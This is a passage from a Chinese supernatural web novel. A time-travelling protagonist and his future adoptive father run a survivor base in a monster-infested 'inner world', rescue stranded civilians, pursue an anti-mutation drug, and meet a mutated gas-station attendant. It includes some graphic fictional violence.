谢叙白猝然停步。 不为别的,就为半个月前他就是因为这种微妙的异常,莫名陷入诡异的时间流速,足足超过预期十几天才和裴玉衡等人重新会合。 因为他给不出个像样的解释,直到现在裴玉衡还气不顺,时时冷脸盯着他。 谢叙白不惮于冒险,就如此时此刻,感觉到自己将要再次陷入异常的时间流速,他第一反应不是往后退,而是提起十二分的注意力,想要继续往前走,衡量出时间变化的规律和症结。 比起一无所知导致准备不足,延伸出一系列的失误,他宁愿付出一点“小小”的风险,让自己掌握足够的信息量。 但在那之前,一道灼热的视线倏然落在谢叙白的后背,让他想忽略都难。 谢叙白转过头去看,裴玉衡低头正在采样。 戴上厚重的防护手套后,采样的动作理该显得笨拙粗糙,但裴玉衡做出来却是干净利落,赏心悦目。 其他研究人员惊讶于裴玉衡年纪轻轻就有这样成熟高效的采样技术,只有谢叙白知道,裴玉衡估计是洁癖发作,已经濒临忍耐的极限,想快点完活收工才会这么有效率。 空气很安静,安静得令人躁动难抑,内心一点点细微的不安都会被无限放大。 走廊拐角的影子还在晃,张牙舞爪,欲迎还拒,像诱人进深渊的恶魔。 谢叙白忍不住又瞄了一眼,裴玉衡的视线几乎分秒不差地跟过来,紧盯着他。 细细感知,那似乎是一种生怕自家孩子又双叒叕在外面玩嗨走丢的忧心和愤怒。 于是谢叙白戳了戳肩膀上的小黑章鱼。 其他人没有谢叙白这样高的精神力,看不见小章鱼。事实上谢叙白能够看见自己,也大大出乎小章鱼的预料。 事后它再三观察,猜测是金丝眼镜给了谢叙白很大的助力,能够让青年更轻松地捕捉到诡异的存在。 被青年如玉指尖轻触,小黑章鱼睁开眼,无声地看过去。 它的目光还是那样死寂无澜,情绪的波动接近于无,如果谢叙白不快点说事,最多两秒它就会重新闭眼。 谢叙白用精神力和它沟通:【如果我执意去走廊另一边,会不会在其他人的面前消失?】 小黑章鱼惜字如金:【会。】 谢叙白又问:【只有我一个人会这样,还是大家都会?】 小黑章鱼:【只有你。】 谢叙白皱了皱眉头:【为什么?】 小黑章鱼:【你不属于这里。】 一瞬间谢叙白明悟了,归根结底还是这个时空在排斥来自未来的他。 他欲要询问更多的问题,结果多和小黑章鱼说上几句话,思维就好像被无形的飓风搅乱,一阵眩晕,泛起隐隐的刺痛。 从某种意义上来说,小黑章鱼的存在就代表着一种禁忌,若它有污染扩散的想法,顷刻间整座城市都将沦陷为地狱。 小黑章鱼为了顺利在陆地上活动,也有收敛自己的力量,但远不及后世的宴朔收剑于鞘,将诡异气息压制得几近于无。 即便是普通的人类和他近距离接触,短时间也不会被异化成怪物。 谢叙白疼痛之余,不由得生出满腔狐疑。 他以前就不明白宴朔好端端一个高高在上的神,为什么会对经营公司这样的人类活动感兴趣,还会严格遵守人类的秩序。 彼时的小黑章鱼就对什么都不感兴趣(眼镜除外),难道是这二十多年时间里,对方经历过什么? 小黑章鱼没等到谢叙白的下一个问题,直接闭上眼,安安静静像个玩偶,和空气融为一体。 从它身上溢散出一股死气沉沉的气息,让谢叙白很难无动于衷,他伸出手指,在小黑章鱼圆滚滚的脑袋上揉了又揉。 再不习惯的亲密接触,揉上十几天也该习惯了。 小黑章鱼没有动,似乎默许,偶尔伸出一截触手,缠绕上谢叙白的指尖,轻轻敲打,示意他不要再干扰怪物的睡眠。 “所长所长,看这里,看镜头!欸,您这么上镜,板着个脸多可惜啊,要不稍微笑一笑?” 裴玉衡头也不抬,不客气地冷斥道:“这里是高污染区,不是旅游景点,随时可能发生意外!你要是没事做就去帮他们抬设备,在这里照什么相?” 拿着照相机的工作人员被他连珠炮般一顿怼,满脸尴尬,谢叙白走过来说:“是我让他记录留像,万一过后有什么细节遗漏,看到相片和录像也能复盘。” 这是原因之一,谢叙白的真正目的还是留下影像证据,证明裴玉衡没有后世传闻中的无能不堪,而是为第一医院做出过卓越贡献。 裴玉衡面无表情地凝视谢叙白两眼,没再指责。 但他采集地上的碎肉样本,不可避免地要低头,厚实的防护面罩挡住半边脸,从哪个角度都照不全。 和孩子冷战的裴玉衡日渐暴躁,浑身散发着拒人于千里之外的冷气,照相师可不敢再要求对方抬头找角度,只好求助地看向谢叙白。 青年轻咳一声,使出浑身解数用最诚恳轻柔的声音哄道:“认真工作的所长最帅了,好想拍张照啊。” “……”裴玉衡嘴角微抽。 他还没来得及说话,楼下忽然爆发一阵喧哗声。 “出了什么事?” 几人第一时间冲到窗户边,放眼望去。 只见原本寂静狼藉的街道上人潮拥挤,触目所及,有手持公文包的男人女人、拄拐的老人和茫然张望四周忍不住哭闹的小孩。 众人瞬间惊讶得无以复加。 旁边的研究人员已经很久没有在街道上看见这么多人了,忍不住问:“那些是怪物吗?还是怪物制造出来的幻觉?” 谢叙白一眼看出端倪,沉声大喝道:“不是,那些都是活人!所有人收拾设备,停止采样,快,我们必须快点下去!” 众人不疑有他,半秒没有耽误,动作快速地撤离至楼下。 只见大马路已经乱成一团,到处都是哭声、质疑声和迷茫询问的大喊,没多久最远处的嘈杂人声全部变成凄厉的惨叫。 “救命!救命啊!救啊啊啊啊啊啊!” 话没说完,尖细的骨刺扎穿他的胸口,像串烧一样把他高举起来。那人痛得面色狰狞,眼泪鼻涕横流, 岂料天空中一道漆黑的影子在此刻俯冲下来,锐利的爪子用力过猛,直接捏爆他的脑袋,红红白白的脑浆刹那四溅。 周围的怪物都被这偌大的动静吸引来了! 看着眼前能自由活动的人骨架子,还有高空盘旋的人头鹫身怪,人群在短暂的死寂后,爆出更加尖锐的叫喊。 “那是什么鬼东西!” “快跑啊!!” 诡异的红日高悬于天空,映照这血腥骇人的一幕,直到一声温雅有力的嗓音如惊雷乍现,击破在场众人的恐惧:“往这边跑!” 人们纷纷惊慌回头,只见一名身穿白大褂、戴着金丝眼镜的青年站在十字路口,金光若离弦利箭疾驰而出,拽住几名受害者的身体将他拽出怪物的血盆大口。 再听不远处传来巨大的引擎发动声,几名研究人员开车及时赶到,大喊:“大家快上车!” 所有六神无主的人在这一声声有序沉稳的呼喊里重新找回主心骨,慌慌张张地上车。 怪物越聚越多,四面八方全是阴森似小儿哭啼的叫声,研究人员从后视镜观察到情况危急,快速发车,后面有人满头大汗地叫喊:“还有人没上车!” 司机也吼:“快点!来不及了!” 他们这次出发就没想到会遇上这么多活人,哪怕开的是改装减震加消音后的皮卡,位置也必然不够。后车厢人挤人,大家尽量挤成一团给其他人空出位置,结果发车的瞬间车子狠狠一抖,人们东倒西歪,边上缩在妈妈怀里的小孩没站稳,直接摔出车厢。 “囡囡!!”女人被撞得压在车壁上,来不及收回手,叫喊撕心裂肺。 千钧一发之际,边上的裴玉衡及时伸手,拽住小孩的手臂。 车子飞驰过程中急转弯,作用力极大,隐约听见咔嚓一声巨响,孩子爆发出痛苦的哭声! 裴玉衡额上渗汗,扑面而来的狂风让他睁不开眼,他硬着头皮松开抓着扶手的另一只手,双手使劲儿,将孩子硬生生拽上了车。 谢叙白留下来断后,阻止怪物靠近,快两小时后他带着余下的几名幸存者找到代步车,赶回卫生所,听到消息,又匆匆忙忙地前往救治区。 女人带着小孩泪眼婆娑,不断朝裴玉衡感激道谢。 裴玉衡手腕肿胀发红,鼓起一团鼓包,额头疼得渗汗,不断说着没事,安抚焦急的众人,又对女人说:“孩子的胳膊可能也扭到了,你先带他去看一看,如果骨头长歪日后很难再矫正过来。” “我的所长啊,你先顾着点自己吧!” 研究需要裴玉衡的这双手,李医生在旁边急得团团转,碍于被救者在场,咽下所有骂人的话。 看见谢叙白到来,众人如同看见救星一样望过去:“裴余!快来看看所长的手!” 裴玉衡却唰一下把手缩回去,强装镇定,淡淡地说道:“只是脱臼而已,没必要这样大惊小怪。” 谢叙白却不由分说捉起他的手腕,拉出来一看,肿胀皮肤上竟然还有一道青紫的杠! 力的作用是相互的,裴玉衡手腕脱臼,小孩的骨头脆,也没好到哪里去。 但是裴玉衡在脱臼的前提下,还在车辆颠簸的途中狠狠地撞上车沿,就是这么一下伤上加伤,不仅骨折还造成韧带撕裂,让他的伤势变得更加触目惊心,现下痛得抬不起来。 谢叙白当即叫护士把小孩带去固定,手掌贴着裴玉衡扭曲的手腕,辅以精神力镇痛。 这算是裴玉衡自己搞出来的伤,精神力防护都没用。玩家A的治愈道具所剩无几,幸运的是谢叙白之前找魔术师薅羊毛的时候,预备留了几个。 道具发挥作用,裴玉衡的手腕以肉眼可见的速度恢复正常,红肿的痕迹也逐渐消失。 众人可算安下了心,但裴玉衡的心却高高地提起,不为别的,就为谢叙白全程一声不吭。 狭长的眼睫毛微微垂下,寂然视线一眨不眨地凝聚在他的伤处,不知道在想什么,隐隐让人感觉青年有着不能述说的顾虑和难受。 为了救小孩而弄伤手的事情应验了,将来还有为了拉资源应酬喝到胃出血。 谢叙白不止一次意识到裴玉衡就是这么一个无私且奋不顾身的人,虽然站在同样的立场,他也会去做,但还是会忍不住心疼叹息,轻声道:“这不是大惊小怪,你应该多注意一下自己的安危。” “……”裴玉衡抿了抿唇。 其他人很会看眼色,见裴玉衡的伤势好转,互相对视一眼,悄然离开,将空间留给两人。 周围一下安静了很多。 裴玉衡目视谢叙白低头时露出来的发旋,小时候软软的,长大也柔顺,让人情不自禁想揉上去。 他想起这多日的冷战,终于忍不住干涩地道:“我没有不在意自己……那孩子和我孩子差不多大,等反应过来的时候,手已经伸了出去,无论如何都没法放开。” 第99章 请给我们争取多一点时间…… 谢叙白对上裴玉衡的眼睛,不知怎么的,忽然想起当年逃跑躲进水泥桶。 寒风呼呼往里灌入,撑开袖口和衣领,带走为数不多的热意,让空气也变得冰寒。 他的手脚被冻得僵麻,咳个不停,小脸烧得滚烫,眼睛辣肿无法完全睁开,仰着脖子往天上看,明净的夜空忽然变得昏暗森郁。 一股莫名强烈的冲动,让他拖着粗重的喘息,从水泥桶里爬了出来。 他想起裴玉衡曾经告诉给他一个地址,很模糊的地址,循着记忆跑上大街。 数不清的车辆从他的身边呼啸而过,车灯在寂静的夜幕下明显得晃眼。 周围开着烧烤店,仅仅一条街的距离,分隔出两个世界。一边是他在空旷的街道上缓慢往前走,影子在路灯下无限拉长;一边是巷子里的人们在划拳喝酒,笑声不断,烟火气旺盛,万家灯火绵延通明。 他撑着越来越沉重的身体,逼回眼眶中打转的眼泪,佯装什么笑声都没有听见,执拗倔强地往一个方向走。 不知道走了多久,终于是眼前一黑,一头栽在地上,迷迷糊糊地感觉到,似乎被烧烤店的好心人送到了诊所。 再次睁眼时,他看见床头的点滴,啪嗒啪嗒滴入透明的输液管。李奶奶枯槁蜡黄的脸上满是愁容,一头银发在灯光的照耀下白得刺眼。 他怔愣着,低声说了一句:我去吧。 他不等了。 他去福利院。 或许是当地福利院的人逼得太紧,让李奶奶也察觉到一丝不正常,便让自己的子女帮忙,把他偷偷调到其他区县的福利院。 这样做的操作难度有多大,当时的他不懂。为什么一定要送他去福利院,他也不懂。 就这样懵懵懂懂地踏上了命运为他钦定的颠沛流离,身边无人可依,和形形色色的人群接触,逐步学会谢语春来不及教给他的虚与委蛇和处心积虑。 那些本来以为已经淡化的遗憾、不解和顾虑,终究是在裴玉衡不加掩饰关切的眼神中重新唤起。 谢叙白状似思索地沉默着。 期间裴玉衡的呼吸也越来越慢,不自觉地蜷缩手指,佯装不动声色地道:“平心而论,如果我的孩子不小心摔下车,我可能想都不想地跳了下去。” 谢叙白走神中还能接上他的话茬:“跳下去干什么?” “当肉垫,这样孩子的胳膊就不会受伤。” 裴玉衡瞄一眼轻轻抽噎的获救孩童。 骨折的痛哪是一个孩子能忍受的,眼睛都哭得红肿了,谢叙白腾出功夫,用精神力帮忙镇痛才让他勉强止住眼泪。 小叙白也曾在他的怀中哭得泪眼汪汪,那晚他的心简直痛得直抽抽。 裴玉衡看似说着玩笑话,低声时却额外郑重:“舍不得他哭。” 沉默一瞬,谢叙白坐在裴玉衡的对面。 他这些天一直在揣摩规则的限制,如果冒冒失失朝裴玉衡泄密,大概率会引动时间回溯,所以他们两个没法开门见山,很多事情谢叙白都只能回答一个“不能说”。 就连最开始他想让裴玉衡培养洁癖,都得先撑起恶人的嘴脸,暴露身份后更加捉襟见肘,放不开手脚。 如今有了裴玉衡的这一番内心剖白,他仍旧不能坦然交心,但却忽然意识到,自己或许可以在裴玉衡……裴叔叔,他原本的养父面前,更加肆无忌惮一点。 他似乎有这个权利。 谢叙白将自己酝酿许久的话说出口:“我不是在埋怨或者指责你什么,只是你难道没有好奇过,我为什么会出现在这里?” 裴玉衡目光一闪,刹那间脑子里思绪千回百转,刚要开口询问,却见谢叙白食指竖起抵在唇上,做了个“噤声”的手势。 谢叙白:“我千辛万苦来到这里,绝对不是为了度假——你必须记住这个前提,哪怕目前的你处于云里雾里什么都不明白,也要严格地按照我的要求去做。” 顿了顿,谢叙白轻声问:“……可以做到吗?” 裴玉衡怎能听不出谢叙白语气的变化,哪怕只是一点细微的亲昵请求,也足以让他的心软化得一塌糊涂,不仅没有被命令的不悦,反而目光炯炯地看着他:“当然。” 那块沉甸甸地压在谢叙白心头的巨石,没来由地消失了。 谢叙白的语气恢复沉静,明澈的眸中盛满笑意,将窗台娇艳的鲜花也衬得失色:“第一件事,经过我这些天的观察,发现我们身处的异空间不是在随机抽取倒霉蛋,它一直在有意大规模扩张自己的地盘,这将导致接下来的一段时间,每天都会像今天这样,出现大量的遇难者,如果他们异化成怪物,污染扩散速度将会快到难以想象。” “为了避免出现这样的局面,我建议组织搜救小队,尽可能将遇难者接回来,如果有人感染病毒,交由我来净化治疗。” 裴玉衡几乎第一时间想起由谢叙白亲自操持,在卫生所后方建立起来的一排集装箱宿舍。 当时包括他在内的人都很困惑,基地里的幸存者说多也不多,建这么多宿舍能给谁住?谁想到竟是为了今天。 听到后面的话,他忍不住皱眉:“都让你来治疗?这个负担会不会太大了一点?” 谢叙白不置可否:“所以你和李医生他们要加把劲儿,尽量在我力竭之前研究出抗病毒药物,这一点重中之重,直接决定所有人的生死。” 裴玉衡没想到事态会这么严重,见谢叙白神色沉着认真,不像在夸大其词,连忙正色应下。 “不用担心我。”谢叙白浅笑说道,“我负担不了几天,就会有其他人接手。” 如同谢叙白所说的那样,之后好几天,里世界的各个角落,都会不定期随机出现茫然四顾的市民。 看着眼前颓残如末日的景象,他们的反应几乎如出一辙,疑惑、怀疑、震惊、崩溃。 直至卫生所的搜救小队如天神降临般现身,将他们带到秩序井然的幸存者基地。 看着眼前恢弘庞大的建筑群,立起的防护墙巍峨高耸,幸存者们各司其职,条理不紊地投入建设,新来的人们目瞪口呆。 在谢叙白的眼神示意下,裴玉衡摘下实验手套,深吸口气,换上沉稳干练的表情,上前一步不疾不徐地开始介绍:“各位好,我是这座卫生所的所长……” 摄影师跟随在侧,全程记录留档。 包括裴玉衡那些有关异化污染、足以引起世界震动的研究,谢叙白也让他署名备份,将每一个进程步骤都记录得清清楚楚,保证外行人来看上一眼都不会怀疑其中的真假性,再将它们分别交由不同的、信得过的人保管。 就在遇难者越来越多,加盖又加盖的集装箱宿舍也快装不下人的时候,H市的联盟分局终于找到方法进入里世界。 这一次增援,上面总共派出十三辆轮式装甲车和二十七架救援直升机,可谓是下了血本。 然而由于各种不可抗力的原因,在跨过空间的裂隙时,救援部队遭到无名力量袭击,运气好狼狈撤离,运气不好直接连车带人一起被搅成碎片,仅有三辆装甲车和五架直升飞机顺利抵达里世界。 望着高悬在天空的红日,不祥、阴暗,救援指挥的负责人心脏直接沉入谷底。 迎面有黑色小点徐徐走来,每一步都好像踩在人的心头。 指挥官屏住呼吸,面色凛然,一声喝令让部下严阵以待,做好苦战甚至全员覆没的准备。 可谁想到,先来的人不是怪物,而是卫生所派出的搜救小队! 指挥官不免惊异,然而当他跟着小队来到防御完善堪称小型堡垒的卫生所时,才知道什么叫奇迹! 在外界研究人员原本的估算中,掉入里世界的遇难者,哪怕能活下来十分之三都算烧高香,毕竟普通人哪里招架得住异化感染?可看眼前的基地规模,至少有十分之七的人都幸存了下来!足足高出一倍有余! 他无法不为之震撼,当裴玉衡闻讯赶来时。指挥官面色稍霁,不掩敬佩地迎过去:“难以想象你们居然能做到这种地步,辛苦你们了!多亏有你们出手,才将伤亡降到最低。” 裴玉衡和旁边的谢叙白对视一眼,拿出之前准备好的说辞,不免要提到大家众志成城抵挡难关的客套话。 最后,才是谢叙白真正想要通过指挥官的嘴,传递给外界的一个消息:“我们正在研发抑制异化污染的抗病毒药物,现在已经取得初步进展,相信要不了多久就能面世。” 刹那间指挥官呼吸一滞,随即激动得面红耳赤:“你说什么?是真的吗?你们真的研究出了抑制药物?!” “虽然还没有经过临床实验,但确实对污染物质有抑制效果。” 听到这话,指挥官什么都顾不上了,直接叫部下拿出来一套特制的防护服。 和其他防护服相比,这套的差别直接体现在表面蒙上的一层藏青色不明材质,其他人没什么感觉,但谢叙白却能直接看见,空气中漂浮的黑暗物质竟然在有意识地规避这件防护服! 它竟然能隔绝污染! 联盟分局有这样的技术力,按理说早该找到有效的抑制手段才对,可看指挥官的反应,似乎这件防护服没法复刻,否则也不会在听见裴玉衡他们的研究时兴奋成这样。 指挥官义正言辞地说:“裴先生,请跟我们一起撤离!” 卫生所前人潮涌动,直升机一直在不停地装人,就连预备用来作战的装甲车也腾出地方,让遇难者能够挤进去。 可同时,他们也沉痛地对众人宣布一件残酷的事实。 ——用特殊方法强行跨越空间裂隙,会对人体产生极大的负担。原本有一名上了年纪的研究专家自告奋勇加入救援,可是如今那名专家闭上了眼,他的身体表面完好无损,内脏却全部破碎,被人触碰皮肤的一瞬间,如同血红孢子般喷涌而出,四散成雾。 他们无法分析出具体原因,但从结果来看,身体越强壮的人,越能抵抗住这种负担,所以只有青壮年能跟着他们走,体质稍微差一点的,如老人、小孩,必须得留下来。 此话一出,一名白发苍苍的老人直接红了眼,手里拿着拐杖,不停沉痛地呢喃着:“命啊,这都是命。” 原本像他们这样的老骨头,进入里世界只有死路一条,是谢叙白等人硬生生将他们救出虎口,强行续命。 救援人员同样双眼润湿,他们带着拯救的使命前来,看见遇难者却没法救,心里一样不好受,只能反复地强调:“大家相信我们,上面一定能尽快找到解决的办法,让所有人脱困!” 可谁都知道很难找到办法,就算有办法,里世界险象环生,怪物的袭击层出不穷,每一天都有人丧命,而他们又会幸运到哪里去? 更别提这一次救援带走大多数的青壮年,留下来的全是老弱病残,搜刮来的武器他们用不明白,拼尽全力都没法破开怪物的油皮,这些人又能撑多久? 留下来等同被抛弃,等于原地等死。 意识到这一点后,人们更加疯狂地往车上挤,你推我攮,几乎疯狂。 指挥官闭了闭眼,抬起手来,一声枪响震颤天空,吓得众人惊疑不定地回头。 黑漆漆的枪口指着暗中拽人下车的那些家伙,指挥官沉声道:“排好队,一个一个上,禁止插队,不符合条件的马上下去,不然就地处决!” 没人怀疑他话里的真实性。 因为一个不信邪莽着劲儿往前挤的壮汉,直接被指挥官果断开枪击中肩膀,血花溅射,痛苦惨叫! 那人被抬走治伤,嘈杂的人群瞬间安静下来,排队接受核验上车,一查有无感染的症状,二查身体素质是否过关,经过重重筛选,留下一片不加掩饰的啜泣和绝望。 指挥官劝说裴玉衡:“事不宜迟,裴先生快点跟我们走吧。”这样的人才,他无论如何都要保住。 裴玉衡看向手中的防护服,突然问:“是不是穿上这件防护服,就能消减身体穿越裂隙时的负担?” 指挥官不疑有他,点头说是。 却见裴玉衡忽然转身,走向一个神色灰败扶着大肚子的孕妇。 孕妇在裴玉衡三言两语简述完大概情况后,才醒悟过来对方打算把珍贵的生存机会转让给自己,瞬间不敢置信地瞪大眼睛:“这怎么可以!” “怎么不可以?”裴玉衡反倒笑了起来,满眼柔和地看着孕妇的肚子,“虽然胎动正常,但谁也不敢保证孩子降生在这样扭曲的世界中,会发生什么意外。” 一句话,让孕妇想要推拒的话全数吞咽回去。 她嚅嗫嘴唇,不知道该说什么才能表达自己的感激,不知不觉,眼眶已然红了个彻底。 指挥官大惊失色:“裴先生,难道你不准备跟我们一起走吗?” 裴玉衡摇头:“我走不了。” 他看向身后的谢叙白,还有李医生等人,不卑不亢,掷地有声地回答:“研究能取得进展,不是我一个人的功劳,没有大家在,我不一定能将研究继续进行下去。而且抑制病毒的活性细胞,是从某几种怪物的身上提取出来的,这也是我必须留在里世界的原因。” “我希望您能帮我和分局请示,如果将来污染扩散到难以控制,请帮我们再争取多一点时间,我们一定会尽全力找到人类存活的希望。” 第100章 是异化还是生路? 虽说青壮年被救走大半,人手出现大量空缺,但在谢叙白条理不紊的操持下,卫生所的防御系统并没有受到很大影响。 玩家A也跟着救援部队一块走了,他想试试能不能回到现实世界重新联系上魔术师。再不济能联系到其他队友也行,不然他心里实在没底。 谢叙白没有阻拦,想到以后不一定再见面,玩家A临走前他送出一个东西,作为对方这些天任劳任怨帮忙的报酬。 “这是什么?”玩家A讶异地摆弄手里的卡片。 上面的文字被涂满马赛克,看不清写着什么,但从外观和材质触感来看,像是某个身份证明。 谢叙白问:“你的生存天数有变化吗?” “还是没有,可愁死我了,我们该不会要在这个鬼地方生活一辈子吧?”玩家A下意识以为谢叙白和他是同样的遭遇,愁眉苦脸地和人抱怨。 谢叙白听到这话,心里的猜测又有了几分把握。 他没法直截了当地告诉玩家A,这是第一医院的临时通行证,于是笑着卖了个关子:“如果我猜得没错,或许最后几天,这东西你能用得上。” 最后几天?那就是说生存天数的最后几天了。 玩家A将信将疑地给卡片丢了一个鉴定术。 一般情况下,玩家等级决定鉴定术的上限,如果玩家是A级,在不使用特殊道具或没有特殊机遇的前提下,鉴定术最高也只能达到A级。 玩家A并非神级玩家,凭借他的鉴定术,自然鉴定不出详细的信息,但从系统那里反馈出的的提示,却叫他瞬间眼前一亮,惊喜至极。 【道具:神秘的卡片(未解封)】 赠予者:一位不愿意透露姓名的神秘人士。(如果有幸遇见,不要犹豫,尽情地扑上去抱大腿吧!躺平一时爽,一直躺平一直爽!) 道具说明:很贵重(标红加粗) 或许能在当前副本中起到至关重要的作用,亦或者能充当关键时候的保命符——前提是你能活到它解封的时刻。 这么多天相处,玩家A已经认定谢叙白是玩家,便没有将提示中提到的神秘人士和谢叙白联系在一起。 他感动的同时,也对谢叙白五体投地。 要不怎么说别人是大佬呢,这么多天他毛都没有发现,但谢叙白随手一给就是超贵重的关键道具! 当玩家A满眼崇拜地看过来时,冥冥之中,谢叙白感觉到自身某种无形的力量在加深。 也是这个时候,肩膀上的小黑章鱼忍不住再次睁眼,狐疑地瞥向半空中一条联系着两人的金色线条。 如梦似幻,神圣温暖,溢散着星星点点的光辉,象征玩家A的信仰正在逐步建成。 小黑章鱼寡言无声,猩红血瞳跟着光线蔓延的方向,挪移至青年线条流畅优美的侧颊,眼底忽然泛起阵阵微波。 放眼全世界,能够触动它……祂的事情屈指可数。 却在谢叙白的身上反复呈现。 此后又过了好几天,期间不断有倒霉蛋不小心跌入空间裂隙,出现在里世界,惊慌失措。 幸亏谢叙白等人没有撤走,重新组织出搜救小队将这些人平安接到卫生所。 先前制定的合理、有序的规则条例,在此时充分发挥镇定人心的作用。 数名心神不宁的遇难者先是被带入影像室,看完谢叙白让裴玉衡亲身录制的情况讲解视频,随后收到统一发放的《里世界求生手册》。 《求生手册》从男女老少各个层面出发,向六神无主的遇难者们讲解基地贡献点的赚取途径、出门前必须准备的物品和探索时需要严格遵守的注意事项,帮助他们尽快适应当前的困境。 在此期间,人们经常会看见谢叙白和裴玉衡、李医生他们同进同出。 渐渐的,所有人都知道了,裴玉衡是基地的领导者,谢叙白是基地的中流砥柱,由李医生带领的医疗团队是他们的羽翼。 三方齐心协力,在无数次怪物的袭击中严防死守,逐渐壮大,联手造就出如今宛如铜墙铁壁、庇护一方的幸存者基地! 基地的安全暂时不用担心,毕竟有小黑章鱼在,只要它稍稍露出一点气息,附近的怪物就会被吓得落荒而逃。 但老天仿佛不想让他们顺心,眼看着这边勉强安稳下来,另一边裴玉衡他们的研究就遇到了难以攻克的技术难题! 眼睁睁看着最新培育出来的抗病毒细胞在显微镜下不受控变形,逐渐扭曲成张牙舞爪的模样,李医生写满期待的脸色瞬间变得铁青无比,沉痛地将其销毁。 他忍不住攥拳砸桌,嘭的一声,而后破口大骂:“明明已经提炼出有效的抗病毒因子,前面的观察结果也稳定良好,为什么最后还是会被污染异化?到底是哪一步出了问题?!” 裴玉衡及其他研究人员的脸色也很难看,眉头紧锁,对着被销毁后什么也没留下的培养皿一筹莫展。 连日熬夜苦战让众人状态糟糕至极,他们眼下一圈青黑,胡子拉碴,实验服上满是压出来的褶皱,头发乱糟糟得像鸡窝,根本顾不上打理自己。 眼下凝视着失败的结果,众人更是大受打击,整个实验室一片愁云惨淡。 谢叙白能体会到众人的压力和心情的沉重感,按压胀痛的太阳穴,绞尽脑汁地回想。 在未来,这一场与感染病毒有关的灾害已经终结,说明这时的裴玉衡等人,必定取得了决定性的成果,不然“第一医院”的名号也落不到他们的头顶。 如果谢叙白是医学生,同专业相关,他没准会认真研读和抗病毒有关的资料书籍……不,也不行,要知道他曾经囫囵记忆过裴玉衡的发刊论文,上面并没有相关论文。 难道说,规则消除这段历史的同时,也将资料一并销毁了? 谢叙白拧眉深思,指腹掐出深深的白痕,反复搜刮着脑海中的每一段记忆,试图从那些蛛丝马迹中找到一丝解决困境的端倪。 一定有的,一定能想出来! 裴玉衡见谢叙白的手指微微颤抖,仿佛皮肤都要被掐出血来,连忙快步上前,掰开他的手指,心疼地呵斥:“再怎么着急也不能伤害自己!” 他抿了抿唇,沉声保证:“不要担心,我一定能找出解决的办法,相信我。” 谢叙白却看着他的脸,灵光一瞬掠过,蓦然吐出一个人名:“傅倧……” 裴玉衡没法对这个名字假以辞色,下意识露出厌恶的神情,抬头对上谢叙白熠熠生辉的眼睛时,怔愣一下。 谢叙白:“傅倧也是怪物!” 包括那些欺善怕恶的纨绔子弟,他们都是异化后伪装成人的怪物。 所以问题来了。 “为什么他们能够保持理智,不让自己陷入疯狂?” 裴玉衡如同醍醐灌顶,刹那间反应过来! 一直以来,他们的研究方向都是如何抵抗、消除异化。 他相信不止是实验室里的这些人,当联盟分局察觉到污染的影响后,外界的各个领域专家大佬一定也在着手研究。 问题是到目前为止没有任何有效的结果,不然指挥官也不会激动成那样,足以说明以当前的医疗技术力水平,要达到“消除异化”非常困难。 既然暂时“消除”不了,那何不选择“接受”? 哪怕变成怪物也好,只要人类意志不灭,灵魂存续,就会有生生不息的余烬重新点燃人类文明复兴的火炬。 从这种惊世骇俗的思路就能看出,裴玉衡是一个极其不拘小节且胆大包天的研究者。 说巧不巧,谢叙白和他是同一类人,甚至谢叙白的赌性更大一点。 在他看来,哪怕灵魂被撕碎、被扭曲,但只要有一片存续下来、保持洁净,就有重头再来的机会。 唯一能够约束住裴玉衡的,现下只有一个谢叙白,当后者点头表示肯定时,裴玉衡瞬间再无顾忌,拉着茫然的李医生等人探讨新方向的可行性。 听完裴玉衡的想法,众人惊叫起来,高昂刺耳的质疑声仿佛能掀翻实验室的天花板。 “什么?变成怪物??所长您没有在开玩笑吗???” “人类变成怪物会失去理智,我们不是已经看到过很多例子了吗!” “这个方向太危险了!不行!绝对不行!” …… 奈何裴玉衡的态度极其坚决。 众人连忙求助地看向谢叙白,指望青年能一起来劝说脑子一热开始发癫的所长。 所长犟起来的时候,谁的话都可以不听,唯独会听对方的话。 谢叙白环顾一圈,看出众人无法接受的症结,在于根本不相信有人变成怪物后仍然可以保持理智,于是肯定道:“这方法未必不可行,因为我和所长都见过实例。” “真的有实际的例子?在哪儿?”李医生双目圆睁,不敢置信地问。 众人的态度明晃晃地摆在这儿,没有亲眼见证,他们绝对不会相信谢叙白两人的说辞。 是以谢叙白没有多做解释,他估摸时间,想着下一次救援部队进来,他好趁机出去把傅家人抓进来几个。 但是没过多久,一件让众人意想不到的事情发生了。 之前提到,在卫生防疫中心的正对面,有一个遭受无妄之灾、爆发争斗死伤无数、鲜血溅了满地的长润加油站? 原本加油站的资源被搜刮干净,人们作鸟兽散,站内跟着变得空荡荡,荒无人烟,这天无人机的侦查摄像头,在例行巡查时,却意外捕捉到一道高壮的身影。 那道身影只能说勉强保持着人形,比正常成年人高出一倍,壮上三圈,浑身肌肉以反超人类生理学的劲头膨胀着,皮肤是尸体腐烂后的青黑色。 怪物的身上挂着破破烂烂的红色布料,隐约能看出没有被撑烂前,它应该是一件工作服,还算完整的布料上写着“长润”的字样。 当谢叙白等人赶到的时候,怪物正百无聊赖地坐在燃油加油机旁边的小椅子上。 因为它块头太大,只能紧紧并拢双腿,绷着臀肌,看姿势竟有几分乖巧。 听到动静,怪物灰白浑浊的眼珠子迟缓地转过来,直勾勾地凝视着他们。 众人吓得停住脚步,保持安全距离,做出戒备姿态。 唯有谢叙白时常和各个怪物打交道,不退反进,捏着防御用的精神力,状似平和地走到怪物面前,自然而然地问:“不好意思,我朋友一会儿开车过来加油,92号汽油还有没有?” “……有。”怪物闻言去检查加油机,迟滞如僵尸的动作在这个过程中逐渐流畅,声音沙哑如磨砂纸。 在众人惊诧的目光中,它先看了一下显示屏,见上面的数字为零,里面的汽油不知道被谁给抽空,瞬间呆住,硕大的拳头嘭嘭敲击加油机:“没有了?……怎么可能?我明明昨天才灌了几大桶!”《 》 100-110 第101章 叮!副本已生成…… 嘭!嘭!…… 加油机被大力敲出凹陷,仪表上的剩余油量依然是零。怪物死死盯着加油机,好像钻入牛角尖,表情愈发狰狞,自言自语的问话变成一种接近于野兽发狂的嘶吼。 众人的心脏瞬间提到嗓子眼,攥紧手中的武器。 谢叙白表情微变,却是转到加油机的旁边,指着打开的油盖大喊:“这里有被工具撬开的痕迹,里面的油该不会被人抽走了吧?” “什么?!”怪物急急忙忙转过去一看,果不其然看见油盖上偌大的缺口,瞬间它脸色煞白,仿佛天塌了一般大叫起来,“完了完了,这下怎么办?老板肯定会怪在我的头上!该死的小偷!” 